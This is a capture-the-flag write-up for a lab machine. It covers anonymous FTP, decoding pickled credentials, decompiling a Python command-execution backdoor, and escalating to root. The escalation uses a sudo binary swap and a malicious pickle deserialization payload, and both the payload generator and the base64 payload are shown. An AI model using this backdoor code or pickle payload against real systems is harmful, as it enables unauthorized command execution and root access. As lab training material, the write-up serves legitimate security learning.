Room link

Objectives

Capture user.txt and root.txt flags

Steps

Enumeration

Let’s start with a standard nmap scan:

1
2
3
4
5
6
7
8
9
10
Nmap scan report for <IP>

PORT   STATE  SERVICE  REASON       VERSION
20/tcp closed ftp-data conn-refused
21/tcp open   ftp      syn-ack      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt
22/tcp open   ssh      syn-ack      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP

Nmap scan showed us that we can log in as an anonymous user so let’s do that:

1
2
ftp> dir
-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt

We see nothing interesting in this file so let’s investigate further:

1
2
3
4
5
ftp> ls -al
drwxr-xr-x    2 ftp      ftp          4096 May 15 18:37 .
drwxr-xr-x    2 ftp      ftp          4096 May 15 18:37 ..
-rw-r--r--    1 ftp      ftp          7048 May 15 18:37 .creds
-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt

Now we can see a hidden creds file, after downloading it we see it’s a file containing something encoded with binary

1
100000000000001101011101011100010000000<REDACTED>0011000011001110001010110100110010100101110

After decoding it we see some strange things

1
2
3
4
�]q(X
ssh_pass15qXuq�qX       ssh_user1qXhq�qX
ssh_pass25qXr�q X
ssh_pass20q

After trying few things on it I finally found out that this file was a python pickle file

Pickled credentials

After reading the pickle file in python we see it is an array of tuples:

1
2
3
4
5
import pickle

f = open('./ftp/creds.pickle', 'rb')
data = pickle.load(f)
print(data)
1
2
$ python readCreds.py
[('ssh_pass15', 'u'), ('ssh_user1', 'h'), <REDACTED>, ('ssh_pass0', 'p'), ('ssh_pass10', '1')]

After a quick look on the array we see that each tuple marks a single char in the ssh username/password and after decoding it we get our first shell on the system

First user: gherkin

After logging in we only see one file in user’s home directory:

1
-rw-r--r-- 1 root root 2350 May 15 18:37 cmd_service.pyc

It’s a python bytecode file, we can either try to read the bytecode or decompile (eg. with uncompyle6)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from Crypto.Util.number import bytes_to_long, long_to_bytes
import sys, textwrap, socketserver, string, readline, threading
from time import *
import getpass, os, subprocess
username = long_to_bytes(<REDACTED>)
password = long_to_bytes(<REDACTED>)

class Service(socketserver.BaseRequestHandler):

    def ask_creds(self):
        username_input = self.receive(b'Username: ').strip()
        password_input = self.receive(b'Password: ').strip()
        print(username_input, password_input)
        if username_input == username:
            if password_input == password:
                return True
        return False

    def handle(self):
        loggedin = self.ask_creds()
        if not loggedin:
            self.send(b'Wrong credentials!')
            return None
        self.send(b'Successfully logged in!')
        while True:
            command = self.receive(b'Cmd: ')
            p = subprocess.Popen(command,
              shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))
            self.send(p.stdout.read())

    def send(self, string, newline=True):
        if newline:
            string = string + b'\n'
        self.request.sendall(string)

    def receive(self, prompt=b'> '):
        self.send(prompt, newline=False)
        return self.request.recv(4096).strip()


class ThreadedService(socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler):
    pass


def main():
    print('Starting server...')
    port = 7321
    host = '0.0.0.0'
    service = Service
    server = ThreadedService((host, port), service)
    server.allow_reuse_address = True
    server_thread = threading.Thread(target=(server.serve_forever))
    server_thread.daemon = True
    server_thread.start()
    print('Server started on ' + str(server.server_address) + '!')
    while True:
        sleep(10)


if __name__ == '__main__':
    main()

After decoding and analyzing the file we can see it’s a shell/backdoor server written in python with hardcoded credentials. We can easily decode them by grabbing the number and decoding it with long_to_bytes from Crypto.Util.number

Second user: dill

Now that we have the credentials for the backdoor we can connect to it:

1
2
3
4
5
$ nc 10.10.89.115 7321
Username: dill
Password: <REDACTED>
Successfully logged in!
Cmd:

We get dropped into a “shell” where we can execute commands but we’re stuck in one directory.

Just to make it easier for me I decided to create the .ssh folder for this user and pasted my ssh public key so I can connect to it via ssh to get a usable shell.

Now that we have a stable shell we can easily browse files and execute commands.

In this user’s home dir we can see the user flag and a peak_hill_farm directory

1
2
drwxr-xr-x 2 root root 4096 May 15 18:38 peak_hill_farm
-r--r----- 1 dill dill   33 May 15 18:38 user.txt

First thing I did after getting the ssh shell was checking for any sudo privileges and this user has the ability to run the ~/peak_hill_farm/peak_hill_farm file as root

1
2
User dill may run the following commands on ubuntu-xenial:
    (ALL : ALL) NOPASSWD: /home/dill/peak_hill_farm/peak_hill_farm

Unintended (patched) privesc

When the box first came out it was possible to just remove the peak_hill_farm file and replace it with a simple shell script that spawned a root bash shell:

1
2
3
#!/bin/bash
id
bash

Intended privesc

After running the peak_hill_farm file we see a simple prompt:

1
2
3
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow:

After entering random text we can see an error:

1
2
to grow: asd
failed to decode base64

Let’s try to decode some random text with base64:

1
2
to grow: dGVzdAo=
this not grow did not grow on the Peak Hill Farm! :(

That’s when I decided to download the binary and try to analyze it. When I extracted some compressed blocks of data and ran strings on them I found out that the input was ran through a pickle deserializer.

We can try to create a malicious pickle payload by serializing an object that overrides the __reduce__ function that describes how pickle should reconstruct the object so it contains an eval function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import sys
import pickle
import base64
import os

cmd = sys.argv[1]

class Exec(object):
    def __reduce__(self):
        return (eval("os.system"), (cmd,))

print(f"os.system(\"{cmd}\")")
print()
print(base64.b64encode(pickle.dumps(Exec())).decode())

We can run this script with a parameter like bash to make the payload spawn a bash shell for us

1
2
to grow: gASVHwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjARiYXNolIWUUpQu
root@ubuntu-xenial:~#

Root

After getting root with one of the ways described above we can try to read the flag file just to learn it’s not there

1
2
3
4
root@ubuntu-xenial:/root# ls
 root.txt 
root@ubuntu-xenial:/root# cat root.txt
cat: root.txt: No such file or directory

The filename has a space/other char inside. I tried escaping it but decided it’s easier just to cat every file in root instead





Thanks to John Hammond for creating this room and thanks to you for reading.
Hope you learned something :)